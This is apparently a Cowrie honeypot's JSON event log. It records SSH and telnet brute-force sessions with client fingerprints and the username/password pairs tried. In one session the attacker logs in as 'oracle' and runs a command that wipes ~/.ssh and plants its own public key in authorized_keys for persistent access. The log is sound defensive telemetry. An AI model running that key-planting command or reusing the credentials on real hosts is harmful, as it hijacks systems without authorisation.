{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e89ba8bcbe00","protocol":"ssh","message":"New connection: 103.125.103.201:40380 (10.17.0.5:22) [session: e89ba8bcbe00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:02.247730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:02.253702Z","src_ip":"103.125.103.201","session":"e89ba8bcbe00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:02.496553Z","src_ip":"103.125.103.201","session":"e89ba8bcbe00","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:03.493315Z","src_ip":"103.125.103.201","session":"e89ba8bcbe00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:03.736447Z","src_ip":"103.125.103.201","session":"e89ba8bcbe00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:03.743942Z","src_ip":"103.125.103.201","session":"6b4dcad56562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":50926,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5e62a213a96","protocol":"ssh","message":"New connection: 64.89.163.156:50926 (10.17.0.5:22) [session: b5e62a213a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:07.972285Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:08.063585Z","src_ip":"64.89.163.156","session":"b5e62a213a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d97688b8bd7e","protocol":"ssh","message":"New connection: 64.89.163.156:50936 (10.17.0.5:22) [session: d97688b8bd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:08.147321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:08.152671Z","src_ip":"64.89.163.156","session":"d97688b8bd7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:08.254873Z","src_ip":"64.89.163.156","session":"d97688b8bd7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw123","message":"login attempt [root/qazxsw123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:08.522425Z","src_ip":"64.89.163.156","session":"d97688b8bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:09.613112Z","src_ip":"64.89.163.156","session":"d97688b8bd7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":44068,"dst_ip":"10.17.0.5","dst_port":22,"session":"04f70ac5cdda","protocol":"ssh","message":"New connection: 101.36.106.162:44068 (10.17.0.5:22) [session: 04f70ac5cdda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:27.909695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:27.915640Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":46390,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9e4a47173d5","protocol":"ssh","message":"New connection: 103.158.40.65:46390 (159.203.135.109:22) [session: b9e4a47173d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:27.987628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:27.992803Z","src_ip":"103.158.40.65","session":"b9e4a47173d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:28.139577Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:28.212755Z","src_ip":"103.158.40.65","session":"b9e4a47173d5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2024","message":"login attempt [oracle/oracle@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.061505Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer2019","message":"login attempt [developer/developer2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.115565Z","src_ip":"103.158.40.65","session":"b9e4a47173d5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.557075Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.559739Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.563277Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:29.790092Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.275047Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.278379Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.337796Z","src_ip":"103.158.40.65","session":"b9e4a47173d5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.506692Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.511731Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":44070,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e0909f29b5c","protocol":"ssh","message":"New connection: 101.36.106.162:44070 (10.17.0.5:22) [session: 8e0909f29b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.708949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.713824Z","src_ip":"101.36.106.162","session":"8e0909f29b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:30.928596Z","src_ip":"101.36.106.162","session":"8e0909f29b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:31.821324Z","src_ip":"101.36.106.162","session":"8e0909f29b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:33.038829Z","src_ip":"101.36.106.162","session":"8e0909f29b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":40368,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c689a3a1d7","protocol":"ssh","message":"New connection: 101.36.106.162:40368 (10.17.0.5:22) [session: 46c689a3a1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:33.247784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:33.252949Z","src_ip":"101.36.106.162","session":"46c689a3a1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:33.465796Z","src_ip":"101.36.106.162","session":"46c689a3a1d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:34.350136Z","src_ip":"101.36.106.162","session":"46c689a3a1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:34.566096Z","src_ip":"101.36.106.162","session":"46c689a3a1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:34.575352Z","src_ip":"101.36.106.162","session":"04f70ac5cdda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.245.70.50","src_port":4224,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c6d932c0e8","protocol":"telnet","message":"New connection: 177.245.70.50:4224 (159.203.135.109:23) [session: 71c6d932c0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:36.516721Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":57654,"dst_ip":"159.203.135.109","dst_port":23,"session":"14ba513e2679","protocol":"telnet","message":"New connection: 135.148.33.91:57654 (159.203.135.109:23) [session: 14ba513e2679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:43.823175Z"}
{"eventid":"cowrie.session.closed","duration":12.953739881515503,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:49.470331Z","src_ip":"177.245.70.50","session":"71c6d932c0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":40452,"dst_ip":"10.17.0.5","dst_port":22,"session":"4220a9e0c055","protocol":"ssh","message":"New connection: 103.125.103.201:40452 (10.17.0.5:22) [session: 4220a9e0c055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.229061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:55:53.293939Z","src_ip":"103.125.103.201","session":"4220a9e0c055","protocol":"ssh"}
